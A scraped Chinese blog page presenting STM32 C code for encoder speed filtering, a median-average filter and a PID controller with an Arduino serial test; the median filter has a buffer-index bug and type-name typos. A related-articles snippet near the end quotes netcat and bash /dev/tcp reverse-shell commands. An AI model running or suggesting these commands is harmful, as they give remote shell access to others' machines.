当前位置: 首页 > news >正文

STM32算法

1.通过编码器对返回的错误速度进行滤波

#define MOTOR_BUFF_CIRCLE_SIZE 4
#define STATIC_ENCODER_VALUE   6int32_t LMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] = {0};
uint8_t LEindex = 0;
int32_t LMotor_Encoder_last = 0;
int32_t L_Encoder_change = 0;int32_t RMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] = {0};
uint8_t REindex = 0;
int32_t RMotor_Encoder_last = 0;
int32_t R_Encoder_change = 0;uint8_t Robot_static_flag = 0;
uint8_t Robot_dynamic_flag = 0;int32_t Encoder_buff_change_value(int32_t *buff,uint8_t size)
{ int i = 0;int32_t value = 0;for(i = 0; i < size;i++){value += buff[i]; }return value;
}u8 Speed_Filter_send(int32_t L_speed,int32_t R_speed)
{	 CAN1Sedbuf[0]=L_speed;CAN1Sedbuf[1]=L_speed>>8;CAN1Sedbuf[2]=L_speed>>16;CAN1Sedbuf[3]=L_speed>>24;CAN1Sedbuf[4]=R_speed;CAN1Sedbuf[5]=R_speed>>8;CAN1Sedbuf[6]=R_speed>>16;CAN1Sedbuf[7]=R_speed>>24;	CAN1_Send(0x183,8);	 Delay_Us(200);
}void Updata_Motor_Speed(void)
{		
//	if((Motor_Vel_receive[0] < 10) && (Motor_Vel_receive[0] > -10))
//	{
//	  Motor_Vel_receive[0] = 0;
//	}//	if((Motor_Vel_receive[1] < 10) && (Motor_Vel_receive[1] > -10))
//	{
//	  Motor_Vel_receive[1] = 0;
//	}	LEindex = LEindex % MOTOR_BUFF_CIRCLE_SIZE;LMotor_Encoder_buff[LEindex] = Motor_Encoder_receive[0] - LMotor_Encoder_last;LEindex++;LMotor_Encoder_last = Motor_Encoder_receive[0];L_Encoder_change = Encoder_buff_change_value(LMotor_Encoder_buff,MOTOR_BUFF_CIRCLE_SIZE);REindex = REindex % MOTOR_BUFF_CIRCLE_SIZE;RMotor_Encoder_buff[REindex] = Motor_Encoder_receive[1] - RMotor_Encoder_last;REindex++;RMotor_Encoder_last = Motor_Encoder_receive[1];R_Encoder_change = Encoder_buff_change_value(RMotor_Encoder_buff,MOTOR_BUFF_CIRCLE_SIZE);	if( (abs(L_Encoder_change) < STATIC_ENCODER_VALUE) && (abs(R_Encoder_change) < STATIC_ENCODER_VALUE) ){//staticRobot_static_flag = 1;Robot_dynamic_flag = 0;}else{//dynamicRobot_static_flag = 0;Robot_dynamic_flag = 1;}if( (Robot_static_flag == 1) && (Robot_dynamic_flag == 0) ){Motor_Speed[0] = 0;Motor_Speed[1] = 0;Motor_Odom = 0;Motor_gyro_z = 0;		Speed_Filter_send(0,0);}else{Motor_Speed[0] = rpm2vel(Motor_Vel_receive[0]);Motor_Speed[1] = -rpm2vel(Motor_Vel_receive[1]);Motor_Odom = (Motor_Speed[0] + Motor_Speed[1])/2.0f;Motor_gyro_z = ((Motor_Speed[1] - Motor_Speed[0])/WHRRL_L);		Speed_Filter_send(Motor_Vel_receive[0],Motor_Vel_receive[1]);}Motor_L_Encoder = Encoder2Distance(Motor_Encoder_receive[0]);Motor_R_Encoder = -Encoder2Distance(Motor_Encoder_receive[1]);
}

2.中位值平均滤波

/***note
input:Speed_input_value;
outout:Speed_output_value;**/#define FILTER_BUFFER_SIZE 4
uint8 speed_filter[FILTER_BUFFER_SIZE] ={0};void TMSpeed_filter(void) 
{static unit8 ad_save_location=0;speed_filter[ad_save_location]  = Speed_input_value;    /*sample value get input value*/  if (ad_save_location > (FILTER_BUFFER_SIZE-1)) { ad_save_location = 0;TM_filter();                            //中位值平均滤波}else{ad_save_location++;}
}/*************************************************************************** * Function:    void compositor(u8 channel)* Description: 中位值平均滤波* Parameters:  None                * Returns:       * Author:      Teana**************************************************************************/
void compositor(void)
{unit8 exchange;unit8 i,j;u16 change_value;for (j=FILTER_BUFFER_SIZE;j>1;j--){for (i=0;i<j-1;i++){exchange = 0;if (speed_filter[i]>speed_filter[i+1]){change_value = speed_filter[i];speed_filter[i] = speed_filter[i+1];speed_filter[i+1] = change_value;exchange = 1;}}if (exchange == 0)return;}
}void TM_filter(void)
{unit8 index;unit8 count;u16 sum_data = 0;compositor(); //filter up-downfor (count=1;count<FILTER_BUFFER_SIZE-1;count++){sum_data +=speed_filter[count];}Speed_output_value= sum_data / (FILTER_BUFFER_SIZE - 2);sum_data = 0;}

3.PID算法

pid.h

// protection against multiple includes
#ifndef SAXBOPHONE_PID_H
#define SAXBOPHONE_PID_H#ifdef __cplusplus
extern "C"{
#endiftypedef struct pid_calibration {/** struct PID_Calibration* * Struct storing calibrated PID constants for a PID Controller* These are used for tuning the algorithm and the values they take are* dependent upon the application - (in other words, YMMV...)*/double kp; // Proportional gaindouble ki; // Integral gaindouble kd; // Derivative gain} PID_Calibration;typedef struct pid_state {/** struct PID_State* * Struct storing the current state of a PID Controller.* This is used as the input value to the PID algorithm function, which also* returns a PID_State struct reflecting the adjustments suggested by the algorithm.* * NOTE: The output field in this struct is set by the PID algorithm function, and* is ignored in the actual calculations.*/double actual; // The actual reading as measureddouble target; // The desired readingdouble time_delta; // Time since last sample/calculation - should be set when updating state// The previously calculated error between actual and target (zero initially)double previous_error;double integral; // Sum of integral error over timedouble output; // the modified output value calculated by the algorithm, to compensate for error} PID_State;/** PID Controller Algorithm implementation* * Given a PID calibration for the P, I and D values and a PID_State for the current* state of the PID controller, calculate the new state for the PID Controller and set* the output state to compensate for any error as defined by the algorithm*/PID_State pid_iterate(PID_Calibration calibration, PID_State state);#ifdef __cplusplus
} // extern "C"
#endif// end of header
#endif

pid.c

#include "pid.h"PID_State pid_iterate(PID_Calibration calibration, PID_State state) {// calculate difference between desired and actual values (the error)double error = state.target - state.actual;// calculate and update integralstate.integral += (error * state.time_delta);// calculate derivativedouble derivative = (error - state.previous_error) / state.time_delta;// calculate output value according to algorithmstate.output = ((calibration.kp * error) + (calibration.ki * state.integral) + (calibration.kd * derivative));// update state.previous_error to the error value calculated on this iterationstate.previous_error = error;// return the state struct reflecting the calculationsreturn state;
}

test.c

#include "pid.h"// initialise blank PID_Calibration struct and blank PID_State struct
PID_Calibration calibration;
PID_State state;void setup() {// configure the calibration and state structs// dummy gain valuescalibration.kp = 1.0;calibration.ki = 1.0;calibration.kd = 1.0;// an initial blank starting statestate.actual = 0.0;state.target = 0.0;state.time_delta = 1.0; // assume an arbitrary time interval of 1.0state.previous_error = 0.0;state.integral = 0.0;// start the serial line at 9600 baud!Serial.begin(9600);
}void loop() {// read in two bytes from serial, assume first is the target value and// second is the actual value. Output calculated result on serialif (Serial.available() >= 2) {// retrieve one byte as target value, cast to double and store in state structstate.target = (double) Serial.read();// same as above for actual valuestate.actual = (double) Serial.read();// now do PID calculation and assign output back to statestate = pid_iterate(calibration, state);// print results back on serialSerial.print("Target:\t");Serial.println(state.target);Serial.print("Actual:\t");Serial.println(state.actual);Serial.print("Output:\t");Serial.println(state.output);}
}

相关文章:

STM32算法

1.通过编码器对返回的错误速度进行滤波 #define MOTOR_BUFF_CIRCLE_SIZE 4 #define STATIC_ENCODER_VALUE 6int32_t LMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] {0}; uint8_t LEindex 0; int32_t LMotor_Encoder_last 0; int32_t L_Encoder_change 0;int32_t RMotor_…...

论文阅读 (106):Decoupling maxlogit for out-of-distribution detection (2023 CVPR)

文章目录 1 概述1.1 要点1.2 代码1.3 引用 2 预备知识3 方法3.1 MaxLogit3.2 改进MaxCosine和MaxNorm3.3 DML 1 概述 1.1 要点 题目&#xff1a;解耦最大logit分布外检测 (Decoupling maxlogit for out-of-distribution detection) 方法&#xff1a; 提出了一种心机基于log…...

毅速丨3D打印随形水路为何受到模具制造追捧

在模具制造行业中&#xff0c;随形水路镶件正逐渐成为一种革命性的技术&#xff0c;其提高冷却效率、优化产品设计、降低成本等优点&#xff0c;为模具制造带来了巨大的创新价值。 随形水路是一种根据产品形状定制的冷却水路&#xff0c;其镶件可以均匀地分布在模具的表面或内部…...

【LeetCode:1670. 设计前中后队列 | 数据结构设计】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…...

OpenCV将两张图片拼接成一张图片

OpenCV将两张图片拼接成一张图片 示例代码1示例代码2代码示例3示例代码4 可以用opencv或者numpy的拼接函数&#xff0c;直接将两张图拼接到一起&#xff0c;很简单方便&#xff0c;参考代码2&#xff0c;推荐此方式。新建图片&#xff0c;将两张图片的像素值填充到新图片对应位…...

4G5G智能执法记录仪在保险公司车辆保险远程定损中的应用

4G智能执法记录仪&#xff1a;汽车保险定损的**利器 随着科技的不断进步&#xff0c;越来越多的智能设备应用到日常生活中。而在车辆保险定损领域&#xff0c;4G智能执法记录仪的出现无疑是一大**。它不仅可以实现远程定损&#xff0c;还能实现可视化操作、打印保单以及数据融…...

二十七、RestClient查询文档

目录 一、MatchALL查询 二、Match查询 三、bool查询 四、排序和分页 五、高亮 一、MatchALL查询 Testvoid testMatchAll() throws IOException { // 准备Request对象SearchRequest request new SearchRequest("hotel"); // 准备DSLrequest.source().q…...

百度云Ubuntu22.04

1. download 百度云 2. sudo dpkg -i ***.deb...

解除word文档限制,快速轻松,seo优化。

文章解密、找回和去除word文档密码的安全、简单、高效方法 具体步骤如下&#xff1a;1. 百度搜索【密码帝官网】&#xff0c;2. 点击“立即开始”在用户中心上传需要解密的文件&#xff0c;稍等片刻即可找回密码。这是最简单的办法&#xff0c;无需下载软件&#xff0c;适用于手…...

【音频】Glitch相关

背景 因为要判断低码率下&#xff0c;MOS分值为啥下降&#xff0c;从几个方面调查。其中提及到Glitch、缓冲buffer等&#xff0c;慢慢积累名次概念以及经验。 “Glitch” 在音频领域通常指的是非预期的、短暂的干扰或失真。这些问题可能由于信号传输错误、设备问题、软件错误等…...

【开源】基于Vue+SpringBoot的大学生相亲网站

项目编号&#xff1a; S 048 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S048&#xff0c;文末获取源码。} 项目编号&#xff1a;S048&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块三、系统展示四、核心代码4.1 查询会员4…...

5种主流API网关技术选型,yyds!

API网关是微服务项目的重要组成部分&#xff0c;今天来聊聊API网关的技术选型&#xff0c;有理论&#xff0c;有实战。 不 BB&#xff0c;上文章目录&#xff1a; 1 API网关基础 1.1 什么是API网关 API网关是一个服务器&#xff0c;是系统的唯一入口。 从面向对象设计的角度…...

请求pdf文件流并进行预览

最近做了一个需求就是预览pdf等文件&#xff0c;不过后端返回的是一个文件流&#xff0c;需要前端做一定地处理才行。 我们来看一下具体的实现方式。预览pdf的插件使用的是pdf.js&#xff0c;具体请看这篇文章&#xff1a;pdf.js插件怎么控制工具栏的显示与隐藏 1、请求pdf文件…...

【Unity程序技巧】加入缓存池存储地图资源,节省资源,避免多次CG

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;Uni…...

虹科Pico汽车示波器 | 汽车免拆检修 | 2016款东风悦达起亚K5车发动机怠速抖动严重、加速无力

一、故障现象 一辆2016款东风悦达起亚K5车&#xff0c;搭载G4FJ发动机&#xff0c;累计行驶里程约为8.2万km。该车发动机怠速抖动严重、加速无力&#xff0c;同时发动机故障灯异常点亮&#xff0c;为此在其他维修厂更换了所有点火线圈和火花塞&#xff0c;故障依旧&#xff0c;…...

4.Spring源码解析-loadBeanDefinitions(XmlBeanDefinitionReader)

第一个点进去 发现是空 肯定走的第二个逻辑了 这里在这里已经给属性设置了值&#xff0c;所以肯定不是空能拿到。 1.ClassPathXmlApplicationContext 总结&#xff1a;该loadBeanDefinitions是XmlBeanDefinitionReader设置xml文件在哪。...

PHP 针对人大金仓KingbaseES自动生成数据字典

针对国产数据库 人大金仓KingbaseES 其实php 连接采用pdo方式 必须&#xff1a;需要去人大数据金仓官方网站 下载对应版本的pdo_kdb 扩展驱动 其连接方法与pgsql 数据库连接方法大致相同 不解释 直接上代码&#xff1a; <?php /*** 生成人大金仓数据字典*/ header(…...

java选择排序和冒泡排序

1.区别 选择排序和冒泡排序的区别主要在于算法逻辑、稳定性和交换成本。 算法逻辑&#xff1a;选择排序和冒泡排序都属于比较排序&#xff0c;但在具体算法逻辑上有所不同。冒泡排序是通过相邻元素之间的比较和交换&#xff0c;将较大&#xff08;或较小&#xff09;的元素逐…...

linux反弹shell

nc工具反弹shell 下面是windows主机找到nc打开1.bat输入&#xff1a;nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口&#xff0c; 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…...

Go字符串类型

一、字符串 1、字符串 Go 语言里的字符串的内部实现使用 UTF-8 编码字符串带的值为双引号&#xff08;"&#xff09;中的内容&#xff0c;可以在 Go 语言的源码中直接添加非ASCII 码字符 s1 : "hello" s2 : "您好" 2、字符串转义符 Go 语言的字符…...

使用VSCode开发Django指南

使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架&#xff0c;专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用&#xff0c;其中包含三个使用通用基本模板的页面。在此…...

UE5 学习系列(三)创建和移动物体

这篇博客是该系列的第三篇&#xff0c;是在之前两篇博客的基础上展开&#xff0c;主要介绍如何在操作界面中创建和拖动物体&#xff0c;这篇博客跟随的视频链接如下&#xff1a; B 站视频&#xff1a;s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

2024年赣州旅游投资集团社会招聘笔试真

2024年赣州旅游投资集团社会招聘笔试真 题 ( 满 分 1 0 0 分 时 间 1 2 0 分 钟 ) 一、单选题(每题只有一个正确答案,答错、不答或多答均不得分) 1.纪要的特点不包括()。 A.概括重点 B.指导传达 C. 客观纪实 D.有言必录 【答案】: D 2.1864年,()预言了电磁波的存在,并指出…...

Keil 中设置 STM32 Flash 和 RAM 地址详解

文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...

【网络安全】开源系统getshell漏洞挖掘

审计过程&#xff1a; 在入口文件admin/index.php中&#xff1a; 用户可以通过m,c,a等参数控制加载的文件和方法&#xff0c;在app/system/entrance.php中存在重点代码&#xff1a; 当M_TYPE system并且M_MODULE include时&#xff0c;会设置常量PATH_OWN_FILE为PATH_APP.M_T…...

从 GreenPlum 到镜舟数据库:杭银消费金融湖仓一体转型实践

作者&#xff1a;吴岐诗&#xff0c;杭银消费金融大数据应用开发工程师 本文整理自杭银消费金融大数据应用开发工程师在StarRocks Summit Asia 2024的分享 引言&#xff1a;融合数据湖与数仓的创新之路 在数字金融时代&#xff0c;数据已成为金融机构的核心竞争力。杭银消费金…...

vue3 daterange正则踩坑

<el-form-item label"空置时间" prop"vacantTime"> <el-date-picker v-model"form.vacantTime" type"daterange" start-placeholder"开始日期" end-placeholder"结束日期" clearable :editable"fal…...

智能职业发展系统:AI驱动的职业规划平台技术解析

智能职业发展系统&#xff1a;AI驱动的职业规划平台技术解析 引言&#xff1a;数字时代的职业革命 在当今瞬息万变的就业市场中&#xff0c;传统的职业规划方法已无法满足个人和企业的需求。据统计&#xff0c;全球每年有超过2亿人面临职业转型困境&#xff0c;而企业也因此遭…...

高防服务器价格高原因分析

高防服务器的价格较高&#xff0c;主要是由于其特殊的防御机制、硬件配置、运营维护等多方面的综合成本。以下从技术、资源和服务三个维度详细解析高防服务器昂贵的原因&#xff1a; 一、硬件与技术投入 大带宽需求 DDoS攻击通过占用大量带宽资源瘫痪目标服务器&#xff0c;因此…...

jdbc查询mysql数据库时,出现id顺序错误的情况

我在repository中的查询语句如下所示&#xff0c;即传入一个List<intager>的数据&#xff0c;返回这些id的问题列表。但是由于数据库查询时ID列表的顺序与预期不一致&#xff0c;会导致返回的id是从小到大排列的&#xff0c;但我不希望这样。 Query("SELECT NEW com…...